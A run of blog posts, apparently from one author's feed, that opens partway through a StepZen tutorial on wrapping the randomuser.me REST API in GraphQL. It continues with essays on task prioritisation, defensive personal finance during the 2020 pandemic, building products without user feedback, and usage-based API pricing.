 dateOfBirth: Date!
 age: Int!
 registeredDate: DateTime!
 registeredAge: Int!
 phone: String!
 cell: String!
 largePicture: String!
 mediumPicture: String!
 thumbnailPicture: String!
 nationality: String!
}

As you can see, I simply defined the fields I care about from the REST response, along with their type.

NOTE: The exclamation point after many of these fields is to mark these fields as non-nullable. This means that no matter what, these fields should always be present in a response.

What you’ll want to do is create a new folder in your project and put this code into a file named <servicename>.graphql. In my case, I created the following directory tree and put the code into the randomuser.graphql file.

randomuser
└─ randomuser.graphql

Step 4: Define a GraphQL Query

Once your data modeling is complete and you’ve defined your type(s), it’s time to define a special Query type that will tell the StepZen service how to communicate with the REST API you’re converting.

To get started, edit the <servicename>.graphql file and add the following Query definition:

type Query {
 randomUser: RandomUser
 @rest(
 endpoint: "https://randomuser.me/api"
 resultroot: "results[]"
 )
}

This is a barebones query that essentially tells StepZen the randomUser query will return data of type RandomUser (which we defined in the previous step) and will get data by hitting the https://randomuser.me/api endpoint, then parsing the data out of the results JSON array field.

But… That’s not all! We still have more work to do.

When I defined the RandomUser type above, I decided to make all the data flat, and not nested like it was in the original REST API. This is because I don’t need any special nested fields when I generate a random user, I just want the data!

So, the next thing we need to do is explain to StepZen how to convert the nested JSON key/values into the custom schema I defined. To do this, we’ll use the setters REST directive StepZen provides:

type Query {
 randomUser: RandomUser
 @rest(
 setters: [
 { field: "title", path: "name.title" }
 { field: "firstName", path: "name.first" }
 { field: "lastName", path: "name.last" }
 { field: "streetNumber", path: "location.street.number" }
 { field: "streetName", path: "location.street.name" }
 { field: "city", path: "location.city" }
 { field: "state", path: "location.state" }
 { field: "country", path: "location.country" }
 { field: "postcode", path: "location.postcode" }
 { field: "latitude", path: "location.coordinates.latitude" }
 { field: "longitude", path: "location.coordinates.longitude" }
 { field: "timezoneOffset", path: "location.timezone.offset" }
 { field: "timezoneDescription", path: "location.timezone.description" }
 { field: "uuid", path: "login.uuid" }
 { field: "username", path: "login.username" }
 { field: "password", path: "login.password" }
 { field: "salt", path: "login.salt" }
 { field: "md5", path: "login.md5" }
 { field: "sha1", path: "login.sha1" }
 { field: "sha256", path: "login.sha256" }
 { field: "dateOfBirth", path: "dob.date" }
 { field: "age", path: "dob.age" }
 { field: "registeredDate", path: "registered.date" }
 { field: "registeredAge", path: "registered.age" }
 { field: "largePicture", path: "picture.large" }
 { field: "mediumPicture", path: "picture.medium" }
 { field: "thumbnailPicture", path: "picture.thumbnail" }
 { field: "nationality", path: "nat" }
 ]
 endpoint: "https://randomuser.me/api"
 resultroot: "results[]"
 )
}

Using the setters directive, we’re able to tell StepZen which fields in our RandomUser type can be supplied by which nested paths from the raw REST API JSON data. Neat!

There are lots of other things you can define using StepZen, so even if you have an incredibly complex endpoint there are always ways to support it. To learn more about this, you might want to read through the StepZen docs on the subject.

Step 5: Define the API Metadata

Once you’ve finished defining the data model and query, the next thing you’ll want to do is prepare your GraphQL API schema for production!

In my case, I wanted to contribute my schema back to the StepZen developer community, so I forked the stepzen-schemas repo and created a new top-level folder named randomuser in which I put my query/data model from above.

I then wrote up a README and created a stepzen.config.json file which provides details about this schema:

{
 "name": "RandomUser",
 "description": "Generates random users for testing purposes using the randomuser.me API.",
 "categories": ["Dev Tools"]
}

Notice how all I’m providing is a name, description, and any relevant categories this schema fits into.

Finally, I opened a pull request to the StepZen repo and the maintainers tested and merged my schema into the repo so anyone could use it!

Now, if you have no interest in creating a public GraphQL schema for the REST API you’re converting, you can obviously skip this step. So long as you have a folder with your service name and your data model/queries defined, you can use StepZen to run your endpoint regardless of whether or not your schema is publicly available to the world.

Using Your Converted REST API

Once you’ve built a schema that teaches StepZen how to talk to the REST API, how do you actually use it?

Well, in the example above, I built a public-facing StepZen schema and contributed it back to the community. In this case, I can simply use this schema like I would any other:

$ stepzen import randomuser
$ stepzen start

This will download and install the schema I built, then deploy the code in the current directory to my personal StepZen GraphQL endpoint. It’ll also watch the directory for changes and automatically deploy them if I tweak any of the schema code, etc.

In addition to the above, the start command will open a browser window with the StepZen Schema Explorer that will allow you to test your API by exploring the queries and types available and querying the API running on StepZen.

If you want to start querying your new GraphQL endpoint directly from an application, read through the Connecting to Your StepZen API Guide which shows some examples of how to connect/query your new GraphQL API.

Recap: How to Convert a REST API You Don’t Control to GraphQL

If you’re trying to find a way to use GraphQL on a REST API, here’s what you should do.

First, check StepZen’s list of publicly supported schemas to see if a schema already exists. This means you can use GraphQL to access the API of your choice without doing much.

If there isn’t a public schema available, go build your own! To do this:

Figure out what endpoints you need to use
Figuring out what data your endpoints take as input/output
Define a GraphQL type to reflect what your endpoints look like in GraphQL
Define a StepZen query to explain how the StepZen service can interact with the REST API

Once you have a schema, you can easily deploy it live to the StepZen service, which will give you a dedicated GraphQL endpoint/explorer you can query. And bam, you’re now able to use GraphQL to talk to any REST API, even ones you don’t own/control/etc!

The Feature Snowball

r@rdegges.com (Randall Degges) — Sun, 03 May 2020 00:00:00 -0700

The “feature snowball”, as I like to call it, is a product and time management technique I’ve been successfully implementing for the last 10 years or so. I’ve used it across many personal projects, work projects, and consulting projects with great success.

Today, I’d like to explain what the feature snowball method is, why you may (or may not) want to adopt it yourself, and how it’s worked out for me in my own life.

But first, let me tell you a little bit about myself.

My Background in Tech

I’ve been programming for nearly 20 years at the time of my writing this, 11 of which have been professional. Through my professional tech career, I’ve primarily worked on small projects: things a single person (or small group of people) could build and maintain.

Because of this, I’ve always had to fulfill the roles of a developer, product manager, QA engineer, DevOps practitioner, DBA, SEO expert, marketer, salesperson, frontend designer, and security auditor all at once. I haven’t ever worked on teams large enough where there were dedicated people to handle these functions.

Struggling with Productivity

Because I’ve always had to wear a lot of hats while working on projects, early on in my career I often struggled with productivity. The biggest productivity obstacle for me has always been how to prioritize my work.

For example, while I was growing ipify I had to decide whether I’d build developer libraries in a number of different programming languages, write docs for the website, optimize the backend infrastructure for performance, reduce hosting cost, improve the website design, support IPv6 lookups, or perform marketing tasks to help grow the service.

While each of these tasks was critical to the success of the service, I could only work on one thing at a time. This meant I had to think about and consciously choose which of these important tasks I’d work on.

Now, I don’t know about you, but picking what to work on has always been the hardest part for me.

Before I discovered the feature snowball method, I’d spend hours (sometimes days) carefully thinking through which tasks I’d work on next, how important each was in comparison to the others, and how much I was looking forward to (or dreading) each task.

I’d sometimes reflect back on the week and realize I had spent countless hours feeling anxious and dreading work only because I wasn’t sure where I should spend my time. Some people call this “analysis paralysis” or “decision fatigue”, but whatever you want to call it, it’s always been a pain in my ass.

Thinking About Productivity

One day, early on in my career, I was getting a shower and thinking through what I had to work on the following week. As usual, I had a neverending list of important things to do. The more I thought about what I had to do the following week, the more anxious I felt.

In order to combat my increasing anxiety about work, I decided to think about all the things I had finished at work over the last week. As I went through the list, I started to feel better. And not just a little better, I started getting excited.

The more I thought about all the things I had accomplished, the more I wanted to get back to work and finish more things. I could feel the momentum building, and I didn’t want it to slow down.

This gave me an idea: what if next week I just finished as many things as possible from my todo list? What if I just picked the easiest things to work on, exclusively focused on those, and built as much momentum as possible?

The more I thought about it, the more excited I got. By the time my shower ended I was all in on my new productivity experiment.

The Productivity Experiment

The following week at work was amazing.

Instead of painstakingly debating with myself about what to work on, I took a quick look at my tasks, picked whatever seemed the simplest, and focused all my effort on whatever that was.

I distinctly remember crossing five or six long standing tasks off my list that day, which made me feel amazing. The more things I finished, the more productive and less anxious I felt.

By the end of the week, I felt like a completely different person. I was excited about my work, I wasn’t anxious, and I had knocked a ton of items off my todo list. I was on a roll.

My boss at the time (if you’re reading this: hi David!) told me, after the sprint ended, that he was impressed I had finished so much. My velocity had more than doubled through the course of the sprint.

After that week ended, I decided to keep the experiment going for another week. That second week turned into three weeks, which turned into a month, which quickly turned into the last 10 years.

The Feature Snowball Method

The feature snowball method, as I like to call it, is a simplistic product and time management system in which you determine priorities based on how quick something is to complete.

Instead of deciding which features to build, bugs to fix, or tasks to work on based on business or personal priority (which is the typical way prioritization happens), instead you decide what to work on based on only a single variable: how long will it take to finish?

If you’re deciding between writing email copy for an upcoming marketing campaign, fixing a bug in your Dockerfile, or building out that new feature your company wants: do some quick analysis to figure out how much time each task will take, then get to work on the smallest task.

Much like the debt snowball method for paying down debt, the feature snowball method prioritizes momentum over everything else. The idea is that by getting quick wins and gradually reducing the things you need to do, you’ll be able to stay focused, motivated, and make progress towards whatever it is you’re trying to accomplish: whether that be building a product, cleaning your house, or working on passion projects.

Why You May Want to Use the Feature Snowball Method

If you’re working in a small team or on some sort of personal project/hobby, the feature snowball method can be a great way to “get over” the anxiety and productivity dips that many people (like me) experience when they’re overwhelmed.

I’ve found that by ceding control of my priorities to a simple system, I’m able to execute on what I need to do without any anxiety. In turn, this makes me more productive and I end up accomplishing more. The net result is that my work efficiency goes up: I spend more of my time making progress on projects and less of my time managing priorities.

In my professional life, I also use the feature snowball method extensively, including at my current job as the Head of Evangelism at Okta. I use Trello to manage all my work tasks, and each week I prioritize my tasks by complexity and knock them off one at a time, least complex first.

Of course, there are exceptions to the rule.

For example, a few months ago we were preparing to launch our yearly conference, Oktane, so I had to completely ignore my backlog and exclusively focus on Oktane-specific tasks in order to wrap things up.

Were these Oktane-specific tasks always the simplest things to do? Definitely not! But, within the list of urgent Oktane tasks I had to attend to, I still followed the feature snowball method as much as possible.

Each week I’d sort through what urgent tasks had to be completed, then I’d simply tackle each task in order of how quick I could complete them. By utilizing the feature snowball method in this manner, I’m able to remain effective at work while still keeping my momentum up and anxiety down.

Why You May Not Want to Use the Feature Snowball Method

There are, of course, many situations in which you wouldn’t want to use the feature snowball method.

For example, while my current job is fairly independent in that I can choose what to work on and, for the most part, can accomplish what I need to solo, there are many jobs where that isn’t an option.

If you’re working on a project and have a strict deadline to get a feature out the door, you may very well need to work on whatever is most urgent.

Likewise, if you’re working on a project that involves working with other people in some sort of synchronous manner, you may not have the luxury of deferring a task simply because it’s more complex than another.

I guess what I’m saying is that your mileage may vary. Use common sense, and don’t sacrifice important tasks for the sake of a productivity philosophy.

My Results with the Feature Snowball Method

As I mentioned near the start of this article, I’ve been successfully using the feature snowball method for the last 10 years or so. It’s not only helped me to improve my productivity, but it’s helped me enjoy my work more.

If you’re the type of person who feels excited and motivated when they finish projects and cross things off their todo list, you may want to give the feature snowball method a try. It’s completely changed the way I work, my outlook, and the daily enjoyment of what I do every day.

Defensive Finance in a Downturn

r@rdegges.com (Randall Degges) — Tue, 07 Apr 2020 00:00:00 -0700

I live in the bay area of the United States in a suburb of San Francisco. At the time of writing, I’ve been in isolation from the world for roughly 3 weeks, with no clear end in sight.

And while the stock market is currently doing unusually well, there’s no question in my mind that the coronavirus pandemic is going to cause a lot of financial hardship for just about everyone over these next few years.

Millions of Americans have already lost their jobs, many businesses have already closed for good, and there’s a pretty decent chance this pandemic will take a while to resolve, even in optimistic scenarios.

If you haven’t done so already, now is the time to put together a defensive plan for your personal finances. It’s important to take stock of your existing situation, your prospects, and develop some logic-driven plans for what you’re going to do now and in the future to ensure you come out the other side of this downturn in as strong a position as possible.

With that said, I’ll walk you through how I think about defensive finance and what I’m doing with my money to weather the storm.

Are You Playing Defense or Offense?

In American life, most people play offense. They focus their time, energy, and effort on acquiring money and do little to “defend” their money by reducing expenditures, paying down debts, etc.

I know a lot of talented techies who earn upwards of 200k a year and still live paycheck to paycheck. It isn’t as uncommon as you’d think. People who manage their personal finances in an offensive way tend to spend what they earn (and sometimes more).

When they get a raise they use it to move up in lifestyle instead of pay down debts. When they get a bonus it goes towards nice vacations, home improvements, or gifts.

There’s nothing inherently wrong about playing offense with your money, but it does introduce a substantial amount of risk into your life. If you lose your job, are forced to take a pay cut, or need cash for unexpected expenses it can be dangerous to have large monthly payments.

If you suddenly find yourself going from making 200k a year to 100k a year, but still have 10k in monthly commitments, you’re going to have to make some tough decisions.

On the other end of the spectrum, you have defensive players like myself. People who are wary of monthly payments and instead try to pay down their debt as fast as possible, reduce liabilities, and generally live a less-risky lifestyle.

Defensive people tend to live more frugally, keep a substantial amount of cash on hand as a buffer against the unexpected, and are generally more conservative with their resources.

And while the best time to put together a defensive personal finance strategy is when you’re in a strong financial position, it’s never too late to start playing defense, de-risk your life, and strengthen your financial foundation.

Since we’re in the middle of a worldwide crisis at the moment, there’s never been a better time to get a grasp over your finances and start making changes that will allow you to prosper regardless of what’s going on in the world.

Take Stock of Your Finances

The first step in building a financial plan is to take stock of where you’re currently at. You can’t make good financial decisions if you have no idea what your overall financial situation is.

If you’re making 50k per year and are 50k in debt, your plan is going to look a hell of a lot different than someone who’s making 50k per year and has no debt, for example.

If you aren’t already tracking how much money you’re spending and saving, the first thing I’d recommend you do is create a free account on either mint or Personal Capital. Both of these free services let you hook up your bank accounts, credit card accounts, investment accounts, loan accounts, etc., so you can track how much money you have coming in and out, what you’re spending, and what your net worth is.

Once you’ve got all your data synced, the next thing you’ll want to do is look back over the last 30 days or so of expenses and write down:

How much money you have coming in every month
How much money you have going out every month

These two numbers are important to know: how much you’re making and how much you’re spending. You should always know what these numbers are. Your goal should be to always spend less than you make. If you notice yourself spending more than you make in a month, warning shots should be going off in your head.

NOTE: I recommend logging into your finance tracking app once every week and checking to see how much you’ve spent. It’s a great way to stay conscious of your spending habits and allows you to be more thoughtful with your resources. I’ve noticed that when I don’t do this, I end up spending money without even realizing it.

The next thing you’ll need to do is look through every purchase you’ve made in the last 30 days and categorize them.

Essential expenses. These are things you absolutely cannot live without. This includes things like grocery bills, electricity and gas, and rent/mortgage payments.
Obligations. These are outstanding debts that you are obligated to make payments on. These could be things like credit card minimum payments, student loan payments, car payments, etc.
Luxury expenses. These are essentially everything else: Netflix, fast food, electronics, internet, video games, etc.

Once you’ve categorized your expenses into the three categories above, tally them up. This will give you some useful information, namely:

How much money do you need coming in every month to survive? This is your “survival” burn rate. This is the minimum amount of money you need to make every month to stay alive.
How much money do you need to stay current? This is the amount of money you need to not only survive but also pay the minimum on all your debts, loans, etc. While it is possible to not pay these things in a pinch, this isn’t something you want to do if you can avoid it.
How much money do you need to keep up your current lifestyle? This is the amount of money you need to keep living like you are now.

I’ve been tracking my finances this way for many years now. Always knowing your various burn rates is incredibly useful. It gives me a good idea of what I need to earn and helps me put things in perspective.

My wife and I, for example, could live off as little as ~1.5k per month if we had to. It wouldn’t be a great lifestyle, but we could make it work. Even if your number is large, knowing what you need to earn to survive is essential when designing a defensive finance plan.

Build an Emergency Fund

Once you’ve figured out where your finances are at you need to build an emergency fund. This is a pile of money that should cover your expenses for no less than 6 months. For example, if you are currently spending 5k per month, your emergency fund should be no less than 30k.

The idea here is that if you lose all your income, you should be able to survive like you are currently for 6 months: enough time to find a new job, reduce your expenditures, etc.

If you already have money set aside to cover at least 6 months of expenses: congratulations, you’re in a great spot! Don’t have a 6-month emergency fund yet? Don’t panic. There’s no better time than right now to get started. Having an emergency fund is absolutely essential, especially in times of economic uncertainty.

If you’re worried you might lose a job or have to take a pay cut, your number one goal should be to cut your expenses as much as possible in the short term and start piling up cash so in the event something bad happens you’ll have some wiggle room.

Let’s say, for example, you make 60k per year (after-tax) and spend 36k. This means that each month you bring home 5k and spend 3k. In this scenario, your emergency fund should be at least 18k (3 * 6). If you’re able to save 2k per month out of your 5k salary, that means that it will take you ~9 months to build up that emergency fund from zero.

This is why it’s so critical you get started right away. Saving that much money can take a while, but it’s absolutely worth it. Having a 6-month buffer can mean the difference between incurring a massive amount of debt or being mostly unaffected in the event of a job loss, medical expense, etc. Having the ability to survive for 6 months without work is incredibly empowering.

NOTE: You should never invest your emergency fund. It should be kept in a high-yield savings account you can access easily if necessary. Putting your emergency fund into investments like stock, bonds, etc., is a risky proposition because if the value of that investment drops, you now have less of a buffer if you need it.

For the last few years, my wife and I have maintained a 1-year emergency fund. This is a very conservative amount but lets us sleep well at night knowing we don’t have to worry about job loss, economic instability, etc.

Recently, with the virus pandemic causing so much uncertainty, my wife and I decided to double our personal emergency fund. We’ve now got a 2-year emergency fund sitting around, which lets us continue to sleep well at night knowing that even if this pandemic causes massive economic turmoil, we’ll be OK.

If saving up a year (or two years) worth of expenses sounds daunting to you, just keep in mind that the less you need to live, the faster you can save. For example, if you earn 50k per year and spend 40k per year, saving a 1-year emergency fund is going to take a long time. But if you make 100k a year and still only spend 40k, you’ll be able to save a 1-year emergency fund substantially faster.

Reduce Lifestyle Expenses

Regardless of whether you’ve got an emergency fund or not, the next thing you’ll want to do as part of your defensive financial plan is reduce lifestyle expenses.

Go through all the non-essential expenses you’ve made in the last month or so and figure out where you can safely cut back. For example, if you were paying $500 a month for an expensive gym membership that you can no longer use during the coronavirus pandemic, now would be a good time to cancel or temporarily pause that membership.

If you have subscriptions to Netflix, Hulu, Amazon Prime Video, and HBO, why not pick your favorite service and cancel the rest? In a downturn, flexibility is key. By reducing your expenses you are giving yourself the most possible options later on.

If you can trim a few hundred dollars a month off your existing expenses, that means you can build your emergency fund that much quicker, or invest that much more money during a downturn when the price of investments is lower.

At this point in time, my wife and I have cut back substantially on our non-essential spending. We’ve canceled all travel expenditures, almost all of our restaurant spending, and the majority of our shopping expenditures. This month we’ll likely spend around 1.5k less than usual, which is a fair amount of money for us.

Reduce Liabilities

Now that you’ve cut your non-essential expenses down as much as you can without adding too much pain to your life, it’s time to reduce your liabilities.

If you have a mortgage payment, car payments, student loan payments, credit card payments, etc., those are all considered liabilities. Having to make payments to someone else puts you in a vulnerable position for a few reasons:

It increases your monthly burn rate, meaning you need to save a much larger emergency fund to accommodate your payments
It reduces the amount of money you can save per month
In increases your risk. If you lose your job or are only able to earn a fraction of what you are earning today, having to make debt payments will increase your stress, decrease your flexibility, and put you more at risk of needing to take extreme measures to stay afloat.

If you’ve got an emergency fund ready to go and are still working and able to save money each month, you should start pouring all your extra money into paying down your smallest debts first (this is called the debt snowball method).

The reason I believe paying down the smallest debt first is a good idea (especially in an economic downturn where nothing is certain) is that by paying off your smallest debts first you’ll be able to reduce your monthly minimum payments, thereby buying you additional flexibility if you need it.

For example, if you have:

A mortgage loan for 100k at 4% interest
A student loan for 10k at 7% interest
Credit card debt of 5k at 15% interest
A personal loan of 10k at 20% interest

Even though mathematically it would make the most sense to pay down your highest interest loan first (the personal loan at 20% interest), if you can quickly pay off the 5k worth of credit card debt first you’ll free up a few hundred dollars a month, thereby reducing your burn rate and making your emergency fund more effective.

Again, flexibility is key here. Paying off debt and reducing the amount of money you need to pay other people will give you more options in tough economic circumstances.

I’ve written about this before, but my wife and I have no debt. We made the decision a while back to eliminate all the debt in our life while we were able to in order to ensure we’d be OK in the event of a major financial crisis.

The thought of needing to make large mortgage payments, car payments, etc., stresses me out. If you can avoid debt or are able to pay yours down, I strongly recommend it. The peace of mind it brings is absolutely worth the struggle and sacrifice it takes to pay it off.

Keep Earning Income

Once you’ve reduced spending and started an emergency fund it’s time to focus on staying employed.

In a financial downturn like the one we’re currently experiencing, employment is not guaranteed. Companies are shutting down and layoffs are coming.

Probably the single most important thing you can do in a downturn is to keep earning income. As long as you are able to keep money coming in, you’ll be ok.

Here are some of my suggestions to keep earning money even in terrible economic conditions.

First off, work hard. There’s no substitute for hard work. If you work hard and do the best job you can, your employer will recognize that. In the event they do need to lay people off, you’ll be at the bottom of the list.

Next, be essential. Every company has essential people. Similar to working hard, being so great that you’re an essential part of the business provides some level of job stability. If you’re a core developer helping to keep the business running, for example, you’re going to have far more job stability than someone working on a new, experimental project that doesn’t generate revenue.

Even if you’re in a role that isn’t core to the business, there are many ways to make yourself essential: show value, understand the business and how you contribute and push for positive change to help improve the bottom line when possible.

Pick up extra shifts/side work/freelance jobs. If you’re in a position where you can legally and reasonably do additional work to make extra money, now’s the time to get started. Diversifying your dependence on a primary job and making a little extra money can be a great way to reduce risk.

If you get laid off and have no other prospects, finding work in a job market where you have a massive amount of competition with other job seekers can be difficult. But… If you get laid off and already have some side work/freelancing jobs/etc., you’ll at least have some money coming in to help offset your expenses.

And, if you do get laid off, update your resume and start applying for jobs right away. Unemployment is at the highest level in the US right now since the great depression. That means there are millions of other people looking for work right now. If you get laid off, start looking for something new immediately. Don’t wait. The faster you get back into the workforce, the less you need to worry. But whatever you do, don’t wait.

Again, the key is to keep working. If you do get laid off and aren’t able to find a similar job quickly, don’t wait around forever – find work doing something so you can keep bringing in money to stabilize yourself. Having a little money coming in is a lot better than having no money coming in.

Take Advantage Of Opportunities

If you’ve already done everything else we’ve discussed above, you’re in an ideal situation. You have an emergency fund, no debt, and you’re spending less than you make. This puts you in rare company.

If you’re at this point, part of your defensive personal finance strategy should be to take advantage of opportunities as they arise. There are many ways to do this, here are just a few:

Start a company that serves a clear and present need. Right now, for example, there are tons of distilleries around the country who’ve shifted from manufacturing spirits to hand sanitizer. There are always opportunities in financial downturns, so keep your eyes open for ones that make sense.
Invest in the markets. There’s no better time to invest in the market than during a downturn because you’re purchasing assets at a discount. Buy stock regularly and hold onto it. When the markets eventually bounce back, you’ll get a great return.
Look for asset acquisition opportunities. Outside of the markets, there are many other types of assets you can purchase: rental properties, small businesses, etc. In financial downturns, it isn’t uncommon for property owners to sell properties at a discount (if they need money now), and the same is true for businesses.

What Sami and I are doing today is the following:

We’re investing 50% of our monthly savings into index funds
We’re taking the other 50% and stockpiling it as we look for opportunities

Right now, we’re looking to purchase rental properties (if the prices drop, which I suspect they will) as well as potentially a franchise business. Due to the forced closure of so many companies, there are already lots of businesses being put up for sale at steep discounts.

I’m currently conducting due diligence on a few potential opportunities which I’m hoping will work out.

The main thing to keep in mind is that there are always opportunities. By having a sufficient emergency fund, no debt, and spending less than you make, you’re putting yourself in a strong situation where you can take advantage of the opportunities you come across.

Go on the Defensive

During a downturn, you need to start playing better defense. Reduce your spending, have a reasonable cash buffer so you can weather short bouts of unemployment, pay down your debts, focus on staying employed, and look for good opportunities.

The current coronavirus pandemic is causing pain for everyone: job losses, economic turmoil, sickness, and death–but by being conscious of your spending and building a defensive plan, you’ll be able to pull through in even the most difficult times.

It doesn’t matter where you’re at now, it only matters where you’re going. Stay healthy and hang in there.

Don't Waste Time Getting Feedback

r@rdegges.com (Randall Degges) — Sun, 05 Apr 2020 00:00:00 -0700

Time is valuable. In fact, time is the single most valuable thing any of us have. That’s why I think it’s so important not to waste time if you don’t have to. Every second you waste working on something unnecessary is literally cannibalizing your life.

Over the span of my professional career, I’ve spent the vast majority of my time building developer services at small companies (including my own). I’ve also had the opportunity to meet, work with, and advise other developer-focused businesses.

But through all my experience working with businesses building developer products and services, there’s always been something that’s annoyed me: user feedback.

Why Companies Use User Feedback to Drive Product

If you wanted to start a new online business today, what would you do? I suspect that you’d most likely:

Plan out what you want to build
Draw up some sketches of what the product should look like and how the functionality should work
Build a simple minimum viable product
Show it to users and get feedback so you don’t waste my time building unnecessary stuff or something users won’t like
Iterate

If you’re anything like me, the steps above seem fairly reasonable. After all – if you’re building something you intend people to use, you wouldn’t want to waste thousands of hours creating something your users won’t like.

It makes sense that you’d start small, get some feedback, and iterate what you’re working on to maximize your chances of being successful: whether that’s selling a product, getting users, or whatever it is you’re trying to optimize for (which is very much the Lean Startup way).

The reason companies rely so heavily on user feedback to drive product decisions and resource allocation is because it works. Regardless of what you’re building, you’ve got to make sure your product is appealing to your userbase. If it isn’t, you’re wasting precious time.

But… What would you say if I told you that you didn’t need to constantly conduct user research? What if you could build a product that you know your users are going to love, even without ever talking to them?

If you had a 100% guarantee that the thing you’re building is exactly what your users want, would that allow you to move faster? Instead of needing to talk to people, run A/B tests, send out email surveys, etc., you could focus on the most important thing: continuing to build and evolve your service to make it more attractive to your userbase.

Sound too good to be true? It isn’t!

Why You Don’t Need User Feedback to Build a Successful Product

The simple secret to building a successful product quickly is to build products for people like you.

If you’re a developer and you’re building a Postgres hosting service, for example, you don’t need to rely on user feedback to make a great product because you already know what the ideal version of your product looks like! You are the target user!

That’s one of the reasons I love building developer services: I’m a developer and I build things that I want to use.

If you’re already the target customer of your product, you don’t need to waste any time tracking down other developers to get their feedback or insight: just build your service and continue improving it as quickly as possible.

Doing things this way puts you at a massive advantage over your competitors because you don’t need to waste time collecting feedback, having product strategy meetings, etc., all you need to do is build what you already know is a winning product and start selling.

What Successful Products Look Like

Successful products are often built by (and led) by experts in the field. Twilio, for example, was founded by Jeff Lawson, Evan Cooke, and John Wolthuis – three incredibly talented engineers who had years of experience as developers services before ever starting the company.

Heroku’s another great example, they were founded by three developers who were already extremely familiar with the problems they were solving: James Lindenbaum, Adam Wiggins, and Orion Henry.

It’s the same story with just about every amazing developer-focused product I can think of: Stripe, GitHub, etc.

While I have no first-hand knowledge of how these companies were founded and what went on behind the scenes, I’m willing to be that in each case the founding team knew exactly what they wanted to build, which is partially why they succeeded: they had a strong vision, understood the problems their customers had well, and quickly built solutions that they would use themselves.

While you don’t need to be an expert in your business domain, it certainly helps. If you already know all the problems your customers face and exactly what they need to be successful, you can skip all the trial-and-error most startups go through, avoid wasting time (and money), and ship solutions much faster than you’d be able to otherwise.

Don’t Waste Time

If you’re starting a business, there’s no reason why you need to get user feedback if you already have a deep understanding of the problem space. Build an MVP, get people using it, and just keep building and selling.

As your business grows, there will certainly come a time when you might need to bring in product people to help conduct research and figure out what things to prioritize, but you can safely avoid that expense for a long time if you’re already your own target customer.

The faster you move, the more likely you are to succeed. Spend your time and focus building the product you need and there’s a good chance others will find it useful as well.

The Only Type of API Services I'll Use

r@rdegges.com (Randall Degges) — Mon, 17 Feb 2020 00:00:00 -0800

I love API services. It still feels magical each time I query an endpoint and get back some interesting data or cause some complicated functionality to occur.

I’ve built my entire career (and hobbies) around API services. I’ve only ever had one job (which only lasted several months) that wasn’t focused on building or working with API services for other developers. To say I am heavily invested in developer services would be an understatement; it’s essentially all I do.

With that being said, over these last ~15 or so years I’ve come to develop some strong opinions in regards to API businesses: how they should work, what they should look like, how they should be documented, how they should be priced, etc. And while all of these things can be done differently, there’s one thing that I strongly believe all API services should do, and it’s so important that if an API service doesn’t do it, I refuse to use it. And that thing is usage-based pricing with automatic volume discounts.

Why I Love Usage-Based Pricing

Usage-based pricing with automatic volume discounts is the only pricing model I believe API services should adopt. The concept is simple: the amount a customer pays for using an API service should depend on how much they use the service.

For example, if you’re building an API service that stores data, you should price your service so that customers pay for the amount of data they store with you. Maybe you charge $0.01 per gigabyte (up to 1TB), $0.001 per gigabyte (up to 5TB), and $0.0001 per gigabyte (for anything above 5TB).

I like this pricing model because:

The more a customer uses your service, the more money you make
If a customer is getting value out of your service, it’s only natural their usage will increase, thereby increasing the amount of money you make
If a customer decreases their usage of your service, you’ll make less money and the customer will get less value from your service

But the most important reason I like this pricing model is that it heavily incentivizes both the customer and the service provider to act in everyone’s best interest.

When API services have a usage-based pricing model, the service provider is strongly incentivized to improve their service (add features, improve stability, improve documentation, improve user experience, etc.) because they need to do whatever they possibly can to convince their customers to use their service more.

If your business relies on charging customers $0.01 for sending an SMS message, then you’re going to make sure that:

Your service has a high amount of uptime (otherwise each second you’re down you’re missing out on revenue potential)
Your service can support a high amount of throughput (otherwise you won’t be able to earn as much revenue if you can’t service the amount of usage customers demand)
Your service has a high deliverability rate (because if you aren’t able to deliver those SMS messages for customers then you aren’t getting paid)
Your service has great developer libraries and documentation (otherwise you won’t be able to grow the usage of your service as much since integrating will be difficult for customers)
Your service is actually providing value to your customers (otherwise they won’t increase their usage of your service over time)

On the customer side, usage-based pricing also incentivizes good behavior:

The more customers use your service, the more value they get
If customers increase their usage of your service, they get a better deal (automatic volume discounts)
If customers reduce their usage of your service, they get a worse deal (automatic volume discounts)

Usage-based pricing with automatic volume discounting incentivizes both parties to grow and win together. Neither party is in an adversarial position with the other.

With usage-based pricing models, customers feel like they are getting a good deal because they’re paying for exactly what they use. They aren’t getting “ripped off” by paying for something they aren’t using. In fact, the more customers use your service, the cheaper it gets for them (automatic volume discounts)!

For service-providers, usage-based pricing can also be great because it gives companies a clear and measurable way to grow their business: increase usage. This means that companies can focus on the most important thing (the product) as opposed to hundreds of other metrics companies tend to obsess over that detract from focusing on the service.

Problems With Other Pricing Models

I’ve seen lots of pricing models for API services, but there are only two I’d like to discuss with you today: bucket-based and enterprise (otherwise known as contact-us). These are the two pricing models I most frequently see used by API vendors.

Problems With Bucket-Based Pricing

Bucket-based pricing is when you charge customers a set amount of money to purchase credits for your service.

For example, imagine you run an SMS-sending API and you have three pricing tiers available:

$10/mo: which lets customers send up to 1,000 SMS messages
$50/mo: which lets customers send up to 5,000 SMS messages
$100/mo: which lets customers send up to 10,000 SMS messages

Bucket-based pricing creates an adversarial relationship between you and the customer because the customer is always going to pay more for your service than they want to. If the customer only needs to send 2,500 SMS messages, for example, they have no choice but to pay you $50/mo, which is twice as much as they’d like to spend, since you don’t have a pricing plan that allows them to only purchase 2,500 SMS credits.

Because of this, customers who pay for bucket-based services are always getting slighted. The odds of a customer hitting 100% utilization of their plan is very slim, so they’re essentially being charged more money for… Nothing.

Another side-effect of bucket-based pricing is that it incentivizes customers to use your service less so they can fall into a lower-tier bucket and minimize spend. This is unfortunate for both you and your customers because it incentivizes your customers to spend a lot of time and effort carefully planning how to use your service less (so they can maximize their value and fully utilize whatever bucket they’re in) while you (the service provider) are going to get less overall usage (and therefore money) than you might have gotten otherwise.

On the service provider side, however, bucket-based pricing plans continue to be very popular. Some of the reasons companies like to structure their pricing in this way is that:

It generates more predictable amounts of revenue. If you force customers to pay a set amount of money each month to use your service, you can easily predict how much money you’re going to make. Venture capitalists love this. In usage-based pricing models, your top-line revenues will fluctuate much more as customer usage ebbs and flows.
It increases margins. Because bucket-based pricing captures revenue even when customers don’t use the service, companies are able to make more money while giving less service. This is great for companies that don’t have strong engineering leadership as they can get by with less scalable services, more outages, and poor customer experiences as they’ll still be making money regardless of whether or not these issues occur.

